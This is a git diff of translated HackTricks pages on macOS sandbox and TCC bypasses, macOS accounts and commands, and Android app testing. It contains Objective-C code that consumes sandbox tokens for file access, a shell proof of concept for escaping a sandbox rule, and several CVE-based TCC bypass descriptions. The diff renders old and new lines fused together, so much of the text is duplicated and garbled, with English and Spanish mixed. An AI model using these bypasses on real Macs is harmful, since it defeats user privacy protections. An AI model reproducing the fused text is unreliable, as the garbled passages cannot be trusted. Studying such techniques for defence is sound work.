[conn.remoteObjectInterface setClasses:[NSSet setWithArray:@[[NSError class], objc_getClass("FPSandboxingURLWrapper")]] forSelector:@selector(extendAccessToURL:completion:) argumentIndex:0 ofReply:1];
[conn resume];
[[conn remoteObjectProxy] extendAccessToURL:[NSURL fileURLWithPath:target] completion:^(FPSandboxingURLWrapper *fpWrapper, NSError *error) {
NSString *sbxToken = [[NSString alloc] initWithData:[fpWrapper scope] encoding:NSUTF8StringEncoding];
NSURL *targetURL = [fpWrapper url];
void *h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", 2);
PFN sandbox_extension_consume = (PFN)dlsym(h, "sandbox_extension_consume");
if (sandbox_extension_consume([sbxToken UTF8String]) == -1)
NSLog(@"Fail to consume the sandbox token:%@", sbxToken);
else {
NSLog(@"Got the file R&W permission with sandbox token:%@", sbxToken);
NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]);
}
}];
}
```
### Compilación Estática y Enlace Dinámico ### Compilación Estática y Enlace Dinámico
[**Esta investigación**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) descubrió 2 formas de eludir el Sandbox. Debido a que el sandbox se aplica desde el userland cuando se carga la **biblioteca libSystem**. Si un binario pudiera evitar cargarla, nunca sería sandboxed: [**Esta investigación**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) descubrió 2 formas de eludir el Sandbox. Debido a que el sandbox se aplica desde el espacio de usuario cuando se carga la biblioteca **libSystem**. Si un binario pudiera evitar cargarla, nunca sería sandboxed:
- Si el binario estaba **completamente compilado de forma estática**, podría evitar cargar esa biblioteca. - Si el binario estuviera **completamente compilado de forma estática**, podría evitar cargar esa biblioteca.
- Si el **binario no necesitara cargar ninguna biblioteca** (porque el enlazador también está en libSystem), no necesitaría cargar libSystem. - Si el **binario no necesitara cargar ninguna biblioteca** (porque el enlazador también está en libSystem), no necesitará cargar libSystem.
### Shellcodes ### Shellcodes
Ten en cuenta que **incluso los shellcodes** en ARM64 necesitan estar vinculados en `libSystem.dylib`: Tenga en cuenta que **incluso los shellcodes** en ARM64 necesitan estar enlazados en `libSystem.dylib`:
```bash ```bash
ld -o shell shell.o -macosx_version_min 13.0 ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64 ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
``` ```
### Entitlements ### Restricciones no heredadas
Note that even if some **actions** might be **allowed by at he sandbox** if an application has an specific **entitlement**, like in: Como se explica en el **[bonus de este informe](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)**, una restricción de sandbox como:
```
(version 1)
(allow default)
(deny file-write* (literal "/private/tmp/sbx"))
```
puede ser eludido por un nuevo proceso ejecutándose, por ejemplo:
```bash
mkdir -p /tmp/poc.app/Contents/MacOS
echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc
chmod +x /tmp/poc.app/Contents/MacOS/poc
open /tmp/poc.app
```
Sin embargo, por supuesto, este nuevo proceso no heredará derechos o privilegios del proceso padre.
### Derechos
Tenga en cuenta que incluso si algunas **acciones** pueden ser **permitidas por el sandbox** si una aplicación tiene un **derecho** específico, como en:
```scheme ```scheme
(when (entitlement "com.apple.security.network.client") (when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip)) (allow network-outbound (remote ip))

View File

@ -37,7 +37,7 @@ Más información y PoC en:
../../../macos-privilege-escalation.md ../../../macos-privilege-escalation.md
{{#endref}} {{#endref}}
### Bypass de SSH ### Bypass SSH
Por defecto, un acceso a través de **SSH solía tener "Acceso Completo al Disco"**. Para deshabilitar esto, necesitas tenerlo listado pero deshabilitado (eliminarlo de la lista no eliminará esos privilegios): Por defecto, un acceso a través de **SSH solía tener "Acceso Completo al Disco"**. Para deshabilitar esto, necesitas tenerlo listado pero deshabilitado (eliminarlo de la lista no eliminará esos privilegios):
@ -112,10 +112,10 @@ do shell script "rm " & POSIX path of (copyFile as alias)
### CVE-20209934 - TCC <a href="#c19b" id="c19b"></a> ### CVE-20209934 - TCC <a href="#c19b" id="c19b"></a>
El **daemon tccd** en el espacio de usuario estaba utilizando la variable de entorno **`HOME`** para acceder a la base de datos de usuarios de TCC desde: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** El **daemon tccd** de userland estaba utilizando la variable de entorno **`HOME`** para acceder a la base de datos de usuarios de TCC desde: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
Según [esta publicación de Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) y debido a que el daemon TCC se ejecuta a través de `launchd` dentro del dominio del usuario actual, es posible **controlar todas las variables de entorno** pasadas a él.\ Según [esta publicación de Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) y debido a que el daemon TCC se ejecuta a través de `launchd` dentro del dominio del usuario actual, es posible **controlar todas las variables de entorno** pasadas a él.\
Así, un **atacante podría establecer la variable de entorno `$HOME`** en **`launchctl`** para apuntar a un **directorio controlado**, **reiniciar** el **daemon TCC**, y luego **modificar directamente la base de datos de TCC** para otorgarse **todas las concesiones de TCC disponibles** sin nunca solicitar la aprobación del usuario final.\ Así, un **atacante podría establecer la variable de entorno `$HOME`** en **`launchctl`** para apuntar a un **directorio controlado**, **reiniciar** el **daemon TCC**, y luego **modificar directamente la base de datos de TCC** para otorgarse **todos los derechos de TCC disponibles** sin nunca solicitar al usuario final.\
PoC: PoC:
```bash ```bash
# reset database just in case (no cheating!) # reset database just in case (no cheating!)
@ -145,24 +145,24 @@ $> ls ~/Documents
``` ```
### CVE-2021-30761 - Notas ### CVE-2021-30761 - Notas
Las notas tenían acceso a ubicaciones protegidas por TCC, pero cuando se crea una nota, esta se **crea en una ubicación no protegida**. Así que podrías pedir a notas que copien un archivo protegido en una nota (así que en una ubicación no protegida) y luego acceder al archivo: Las notas tenían acceso a ubicaciones protegidas por TCC, pero cuando se crea una nota, esta se **crea en una ubicación no protegida**. Así que podrías pedir a las notas que copien un archivo protegido en una nota (así que en una ubicación no protegida) y luego acceder al archivo:
<figure><img src="../../../../../images/image (476).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../../images/image (476).png" alt=""><figcaption></figcaption></figure>
### CVE-2021-30782 - Translocación ### CVE-2021-30782 - Translocación
El binario `/usr/libexec/lsd` con la biblioteca `libsecurity_translocate` tenía el derecho `com.apple.private.nullfs_allow`, lo que le permitía crear un **nullfs** mount y tenía el derecho `com.apple.private.tcc.allow` con **`kTCCServiceSystemPolicyAllFiles`** para acceder a cada archivo. El binario `/usr/libexec/lsd` con la biblioteca `libsecurity_translocate` tenía el derecho `com.apple.private.nullfs_allow`, lo que le permitía crear un **nullfs** mount y tenía el derecho `com.apple.private.tcc.allow` con **`kTCCServiceSystemPolicyAllFiles`** para acceder a todos los archivos.
Era posible agregar el atributo de cuarentena a "Library", llamar al servicio XPC **`com.apple.security.translocation`** y luego se mapearía Library a **`$TMPDIR/AppTranslocation/d/d/Library`** donde todos los documentos dentro de Library podrían ser **accedidos**. Era posible agregar el atributo de cuarentena a "Library", llamar al servicio XPC **`com.apple.security.translocation`** y luego se mapearía Library a **`$TMPDIR/AppTranslocation/d/d/Library`** donde todos los documentos dentro de Library podrían ser **accedidos**.
### CVE-2023-38571 - Música y TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a> ### CVE-2023-38571 - Música y TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
**`Music`** tiene una característica interesante: Cuando está en funcionamiento, **importará** los archivos que se suelten en **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** a la "biblioteca de medios" del usuario. Además, llama a algo como: **`rename(a, b);`** donde `a` y `b` son: **`Music`** tiene una característica interesante: Cuando está en funcionamiento, **importará** los archivos que se coloquen en **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** a la "biblioteca de medios" del usuario. Además, llama a algo como: **`rename(a, b);`** donde `a` y `b` son:
- `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"` - `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3` - `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
Este comportamiento de **`rename(a, b);`** es vulnerable a una **Condición de Carrera**, ya que es posible poner dentro de la carpeta `Automatically Add to Music.localized` un archivo **TCC.db** falso y luego, cuando se crea la nueva carpeta (b) para copiar el archivo, eliminarlo y apuntarlo a **`~/Library/Application Support/com.apple.TCC`**/. Este comportamiento de **`rename(a, b);`** es vulnerable a una **Condición de Carrera**, ya que es posible colocar dentro de la carpeta `Automatically Add to Music.localized` un archivo **TCC.db** falso y luego, cuando se crea la nueva carpeta (b) para copiar el archivo, eliminarlo y apuntarlo a **`~/Library/Application Support/com.apple.TCC`**/.
### SQLITE_SQLLOG_DIR - CVE-2023-32422 ### SQLITE_SQLLOG_DIR - CVE-2023-32422
@ -263,7 +263,7 @@ Los plugins son código extra, generalmente en forma de bibliotecas o plist, que
La aplicación `/System/Library/CoreServices/Applications/Directory Utility.app` tenía el derecho **`kTCCServiceSystemPolicySysAdminFiles`**, cargaba plugins con extensión **`.daplug`** y **no tenía el** runtime endurecido. La aplicación `/System/Library/CoreServices/Applications/Directory Utility.app` tenía el derecho **`kTCCServiceSystemPolicySysAdminFiles`**, cargaba plugins con extensión **`.daplug`** y **no tenía el** runtime endurecido.
Para armar este CVE, el **`NFSHomeDirectory`** es **cambiado** (abusando del derecho anterior) para poder **tomar el control de la base de datos TCC del usuario** y eludir TCC. Para armar este CVE, se **cambia** el **`NFSHomeDirectory`** (abusando del derecho anterior) para poder **tomar el control de la base de datos TCC del usuario** y eludir TCC.
Para más información, consulta el [**informe original**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/). Para más información, consulta el [**informe original**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
@ -300,7 +300,7 @@ exit(0);
``` ```
Para más información, consulta el [**informe original**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/). Para más información, consulta el [**informe original**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/).
### Complementos de Capa de Abstracción de Dispositivo (DAL) ### Complementos de Capa de Abstracción de Dispositivos (DAL)
Las aplicaciones del sistema que abren el flujo de la cámara a través de Core Media I/O (aplicaciones con **`kTCCServiceCamera`**) cargan **en el proceso estos complementos** ubicados en `/Library/CoreMediaIO/Plug-Ins/DAL` (no restringido por SIP). Las aplicaciones del sistema que abren el flujo de la cámara a través de Core Media I/O (aplicaciones con **`kTCCServiceCamera`**) cargan **en el proceso estos complementos** ubicados en `/Library/CoreMediaIO/Plug-Ins/DAL` (no restringido por SIP).
@ -413,7 +413,7 @@ task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe; exploit_location]; task.standardOutput = pipe;
[task launch]; [task launch];
``` ```
## Al montar ## Montando
### CVE-2020-9771 - bypass de TCC de mount_apfs y escalada de privilegios ### CVE-2020-9771 - bypass de TCC de mount_apfs y escalada de privilegios
@ -465,13 +465,21 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
``` ```
Revisa el **explotación completa** en el [**escrito original**](https://theevilbit.github.io/posts/cve-2021-30808/). Revisa el **explotación completa** en el [**escrito original**](https://theevilbit.github.io/posts/cve-2021-30808/).
### CVE-2024-40855
Como se explica en el [escrito original](https://www.kandji.io/blog/macos-audit-story-part2), este CVE abusó de `diskarbitrationd`.
La función `DADiskMountWithArgumentsCommon` del marco público `DiskArbitration` realizó las verificaciones de seguridad. Sin embargo, es posible eludirlo llamando directamente a `diskarbitrationd` y, por lo tanto, usar elementos `../` en la ruta y enlaces simbólicos.
Esto permitió a un atacante realizar montajes arbitrarios en cualquier ubicación, incluso sobre la base de datos TCC debido al derecho `com.apple.private.security.storage-exempt.heritable` de `diskarbitrationd`.
### asr ### asr
La herramienta **`/usr/sbin/asr`** permitía copiar todo el disco y montarlo en otro lugar eludiendo las protecciones de TCC. La herramienta **`/usr/sbin/asr`** permit copiar todo el disco y montarlo en otro lugar eludiendo las protecciones de TCC.
### Servicios de ubicación ### Servicios de ubicación
Hay una tercera base de datos de TCC en **`/var/db/locationd/clients.plist`** para indicar los clientes permitidos para **acceder a los servicios de ubicación**.\ Hay una tercera base de datos TCC en **`/var/db/locationd/clients.plist`** para indicar los clientes permitidos para **acceder a los servicios de ubicación**.\
La carpeta **`/var/db/locationd/` no estaba protegida contra el montaje de DMG** por lo que era posible montar nuestro propio plist. La carpeta **`/var/db/locationd/` no estaba protegida contra el montaje de DMG** por lo que era posible montar nuestro propio plist.
## Por aplicaciones de inicio ## Por aplicaciones de inicio
@ -488,7 +496,7 @@ En varias ocasiones, los archivos almacenarán información sensible como correo
## Clics sintéticos ## Clics sintéticos
Esto ya no funciona, pero [**funcionó en el pasado**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:** Esto ya no funciona, pero [**lo hizo en el pasado**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
<figure><img src="../../../../../images/image (29).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../../images/image (29).png" alt=""><figcaption></figcaption></figure>

View File

@ -1,35 +1,33 @@
# macOS Users & External Accounts # Usuarios de macOS y Cuentas Externas
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Common Users ## Usuarios Comunes
- **Daemon**: User reserved for system daemons. The default daemon account names usually start with a "\_": - **Daemon**: Usuario reservado para demonios del sistema. Los nombres de cuenta de demonio predeterminados suelen comenzar con un "\_":
```bash ```bash
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs _amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
``` ```
- **Guest**: Account for guests with very strict permissions
- **Guest**: Cuenta para invitados con permisos muy estrictos.
```bash ```bash
state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess") state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess")
for i in "${state[@]}"; do sysadminctl -"${i}" status; done; for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
``` ```
- **Nadie**: Los procesos se ejecutan con este usuario cuando se requieren permisos mínimos.
- **Nobody**: Processes are executed with this user when minimal permissions are required
- **Root** - **Root**
## User Privileges ## Privilegios de Usuario
- **Standard User:** The most basic of users. This user needs permissions granted from an admin user when attempting to install software or perform other advanced tasks. They are not able to do it on their own. - **Usuario Estándar:** El más básico de los usuarios. Este usuario necesita permisos otorgados por un usuario administrador al intentar instalar software o realizar otras tareas avanzadas. No puede hacerlo por su cuenta.
- **Admin User**: A user who operates most of the time as a standard user but is also allowed to perform root actions such as install software and other administrative tasks. All users belonging to the admin group are **given access to root via the sudoers file**. - **Usuario Administrador**: Un usuario que opera la mayor parte del tiempo como un usuario estándar, pero que también tiene permitido realizar acciones de root, como instalar software y otras tareas administrativas. Todos los usuarios que pertenecen al grupo de administradores **tienen acceso a root a través del archivo sudoers**.
- **Root**: Root is a user allowed to perform almost any action (there are limitations imposed by protections like System Integrity Protection). - **Root**: Root es un usuario que puede realizar casi cualquier acción (hay limitaciones impuestas por protecciones como la Protección de Integridad del Sistema).
- For example root won't be able to place a file inside `/System` - Por ejemplo, root no podrá colocar un archivo dentro de `/System`.
## External Accounts ## Cuentas Externas
MacOS also support to login via external identity providers such as FaceBook, Google... The main daemon performing this job is `accountsd` (`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`) and it's possible to find plugins used for external authentication inside the folder `/System/Library/Accounts/Authentication/`.\ MacOS también admite iniciar sesión a través de proveedores de identidad externos como FaceBook, Google... El principal daemon que realiza este trabajo es `accountsd` (`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`) y es posible encontrar plugins utilizados para la autenticación externa dentro de la carpeta `/System/Library/Accounts/Authentication/`.\
Moreover, `accountsd` gets the list of account types from `/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist`. Además, `accountsd` obtiene la lista de tipos de cuentas de `/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist`.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,15 +1,14 @@
# macOS Useful Commands # Comandos Útiles de macOS
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
### MacOS Automatic Enumeration Tools ### Herramientas de Enumeración Automática de MacOS
- **MacPEAS**: [https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) - **MacPEAS**: [https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)
- **Metasploit**: [https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb) - **Metasploit**: [https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb)
- **SwiftBelt**: [https://github.com/cedowens/SwiftBelt](https://github.com/cedowens/SwiftBelt) - **SwiftBelt**: [https://github.com/cedowens/SwiftBelt](https://github.com/cedowens/SwiftBelt)
### Specific MacOS Commands ### Comandos Específicos de MacOS
```bash ```bash
#System info #System info
date date
@ -111,25 +110,21 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist (enable ssh)
sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist (disable ssh) sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist (disable ssh)
#Start apache #Start apache
sudo apachectl (start|status|restart|stop) sudo apachectl (start|status|restart|stop)
##Web folder: /Library/WebServer/Documents/ ##Web folder: /Library/WebServer/Documents/
#Remove DNS cache #Remove DNS cache
dscacheutil -flushcache dscacheutil -flushcache
sudo killall -HUP mDNSResponder sudo killall -HUP mDNSResponder
``` ```
### Software y Servicios Instalados
### Installed Software & Services Verifique si hay aplicaciones **sospechosas** instaladas y **privilegios** sobre los recursos instalados:
Check for **suspicious** applications installed and **privileges** over the.installed resources:
``` ```
system_profiler SPApplicationsDataType #Installed Apps system_profiler SPApplicationsDataType #Installed Apps
system_profiler SPFrameworksDataType #Instaled framework system_profiler SPFrameworksDataType #Instaled framework
lsappinfo list #Installed Apps lsappinfo list #Installed Apps
launchctl list #Services launchctl list #Services
``` ```
### Procesos de Usuario
### User Processes
```bash ```bash
# will print all the running services under that particular user domain. # will print all the running services under that particular user domain.
launchctl print gui/<users UID> launchctl print gui/<users UID>
@ -140,10 +135,9 @@ launchctl print system
# will print detailed information about the specific launch agent. And if its not running or youve mistyped, you will get some output with a non-zero exit code: Could not find service “com.company.launchagent.label” in domain for login # will print detailed information about the specific launch agent. And if its not running or youve mistyped, you will get some output with a non-zero exit code: Could not find service “com.company.launchagent.label” in domain for login
launchctl print gui/<user's UID>/com.company.launchagent.label launchctl print gui/<user's UID>/com.company.launchagent.label
``` ```
### Crear un usuario
### Create a user Sin indicaciones
Without prompts
<figure><img src="../images/image (79).png" alt=""><figcaption></figcaption></figure> <figure><img src="../images/image (79).png" alt=""><figcaption></figcaption></figure>

View File

@ -2,21 +2,6 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
**Perspectivas de Hacking**\
Participa en contenido que profundiza en la emoción y los desafíos del hacking
**Noticias de Hackeo en Tiempo Real**\
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre las nuevas recompensas por errores que se lanzan y actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
## Fundamentos de Aplicaciones Android ## Fundamentos de Aplicaciones Android
Se recomienda encarecidamente comenzar a leer esta página para conocer las **partes más importantes relacionadas con la seguridad de Android y los componentes más peligrosos en una aplicación Android**: Se recomienda encarecidamente comenzar a leer esta página para conocer las **partes más importantes relacionadas con la seguridad de Android y los componentes más peligrosos en una aplicación Android**:
@ -27,15 +12,15 @@ android-applications-basics.md
## ADB (Android Debug Bridge) ## ADB (Android Debug Bridge)
Esta es la herramienta principal que necesitas para conectarte a un dispositivo Android (emulado o físico).\ Esta es la herramienta principal que necesitas para conectarte a un dispositivo android (emulado o físico).\
**ADB** permite controlar dispositivos ya sea por **USB** o **Red** desde una computadora. Esta utilidad permite la **copia** de archivos en ambas direcciones, **instalación** y **desinstalación** de aplicaciones, **ejecución** de comandos de shell, **respaldo** de datos, **lectura** de registros, entre otras funciones. **ADB** permite controlar dispositivos ya sea a través de **USB** o **Red** desde una computadora. Esta utilidad habilita la **copia** de archivos en ambas direcciones, **instalación** y **desinstalación** de aplicaciones, **ejecución** de comandos de shell, **respaldo** de datos, **lectura** de registros, entre otras funciones.
Echa un vistazo a la siguiente lista de [**Comandos ADB**](adb-commands.md) para aprender a usar adb. Echa un vistazo a la siguiente lista de [**Comandos ADB**](adb-commands.md) para aprender a usar adb.
## Smali ## Smali
A veces es interesante **modificar el código de la aplicación** para acceder a **información oculta** (quizás contraseñas o banderas bien ofuscadas). Entonces, podría ser interesante descompilar el apk, modificar el código y recompilarlo.\ A veces es interesante **modificar el código de la aplicación** para acceder a **información oculta** (quizás contraseñas o flags bien ofuscados). Entonces, podría ser interesante descompilar el apk, modificar el código y recompilarlo.\
[**En este tutorial** puedes **aprender a descompilar un APK, modificar el código Smali y recompilar el APK** con la nueva funcionalidad](smali-changes.md). Esto podría ser muy útil como una **alternativa para varias pruebas durante el análisis dinámico** que se van a presentar. Entonces, **siempre ten en mente esta posibilidad**. [**En este tutorial** puedes **aprender a descompilar un APK, modificar el código Smali y recompilar el APK** con la nueva funcionalidad](smali-changes.md). Esto podría ser muy útil como una **alternativa para varias pruebas durante el análisis dinámico** que se van a presentar. Entonces, **siempre ten en cuenta esta posibilidad**.
## Otros trucos interesantes ## Otros trucos interesantes
@ -62,8 +47,8 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
``` ```
## Análisis Estático ## Análisis Estático
Primero que nada, para analizar un APK deberías **echar un vistazo al código Java** usando un descompilador.\ Primero que nada, para analizar un APK deberías **echar un vistazo al código Java** usando un decompilador.\
Por favor, [**lee aquí para encontrar información sobre diferentes descompiladores disponibles**](apk-decompilers.md). Por favor, [**lee aquí para encontrar información sobre diferentes decompiladores disponibles**](apk-decompilers.md).
### Buscando información interesante ### Buscando información interesante
@ -75,7 +60,7 @@ Presta especial atención a las **URLs de firebase** y verifica si está mal con
### Comprensión básica de la aplicación - Manifest.xml, strings.xml ### Comprensión básica de la aplicación - Manifest.xml, strings.xml
La **examinación de los archivos \_Manifest.xml**_\*\* y \*\*_**strings.xml**\_\*\* de una aplicación puede revelar posibles vulnerabilidades de seguridad\*\*. Estos archivos se pueden acceder usando descompiladores o renombrando la extensión del archivo APK a .zip y luego descomprimiéndolo. La **examinación de los archivos \_Manifest.xml**_\*\* y \*\*_**strings.xml**\_\*\* de una aplicación puede revelar vulnerabilidades de seguridad potenciales\*\*. Estos archivos se pueden acceder usando decompiladores o renombrando la extensión del archivo APK a .zip y luego descomprimiéndolo.
**Vulnerabilidades** identificadas en el **Manifest.xml** incluyen: **Vulnerabilidades** identificadas en el **Manifest.xml** incluyen:
@ -83,7 +68,7 @@ La **examinación de los archivos \_Manifest.xml**_\*\* y \*\*_**strings.xml**\_
- **Configuraciones de respaldo**: El atributo `android:allowBackup="false"` debe establecerse explícitamente para aplicaciones que manejan información sensible para prevenir copias de seguridad no autorizadas a través de adb, especialmente cuando la depuración por usb está habilitada. - **Configuraciones de respaldo**: El atributo `android:allowBackup="false"` debe establecerse explícitamente para aplicaciones que manejan información sensible para prevenir copias de seguridad no autorizadas a través de adb, especialmente cuando la depuración por usb está habilitada.
- **Seguridad de red**: Configuraciones de seguridad de red personalizadas (`android:networkSecurityConfig="@xml/network_security_config"`) en _res/xml/_ pueden especificar detalles de seguridad como pines de certificado y configuraciones de tráfico HTTP. Un ejemplo es permitir tráfico HTTP para dominios específicos. - **Seguridad de red**: Configuraciones de seguridad de red personalizadas (`android:networkSecurityConfig="@xml/network_security_config"`) en _res/xml/_ pueden especificar detalles de seguridad como pines de certificado y configuraciones de tráfico HTTP. Un ejemplo es permitir tráfico HTTP para dominios específicos.
- **Actividades y servicios exportados**: Identificar actividades y servicios exportados en el manifiesto puede resaltar componentes que podrían ser mal utilizados. Un análisis adicional durante las pruebas dinámicas puede revelar cómo explotar estos componentes. - **Actividades y servicios exportados**: Identificar actividades y servicios exportados en el manifiesto puede resaltar componentes que podrían ser mal utilizados. Un análisis adicional durante las pruebas dinámicas puede revelar cómo explotar estos componentes.
- **Proveedores de contenido y FileProviders**: Los proveedores de contenido expuestos podrían permitir acceso no autorizado o modificación de datos. La configuración de los FileProviders también debe ser examinada. - **Proveedores de contenido y FileProviders**: Proveedores de contenido expuestos podrían permitir acceso no autorizado o modificación de datos. La configuración de los FileProviders también debe ser examinada.
- **Receptores de difusión y esquemas de URL**: Estos componentes podrían ser aprovechados para la explotación, prestando especial atención a cómo se gestionan los esquemas de URL para vulnerabilidades de entrada. - **Receptores de difusión y esquemas de URL**: Estos componentes podrían ser aprovechados para la explotación, prestando especial atención a cómo se gestionan los esquemas de URL para vulnerabilidades de entrada.
- **Versiones de SDK**: Los atributos `minSdkVersion`, `targetSDKVersion` y `maxSdkVersion` indican las versiones de Android soportadas, destacando la importancia de no soportar versiones de Android obsoletas y vulnerables por razones de seguridad. - **Versiones de SDK**: Los atributos `minSdkVersion`, `targetSDKVersion` y `maxSdkVersion` indican las versiones de Android soportadas, destacando la importancia de no soportar versiones de Android obsoletas y vulnerables por razones de seguridad.
@ -128,7 +113,7 @@ Al tratar con archivos en **almacenamiento externo**, como tarjetas SD, se deben
1. **Accesibilidad**: 1. **Accesibilidad**:
- Los archivos en almacenamiento externo son **globalmente legibles y escribibles**. Esto significa que cualquier aplicación o usuario puede acceder a estos archivos. - Los archivos en almacenamiento externo son **globalmente legibles y escribibles**. Esto significa que cualquier aplicación o usuario puede acceder a estos archivos.
2. **Preocupaciones de Seguridad**: 2. **Preocupaciones de Seguridad**:
- Dada la facilidad de acceso, se aconseja **no almacenar información sensible** en almacenamiento externo. - Dada la facilidad de acceso, se recomienda **no almacenar información sensible** en almacenamiento externo.
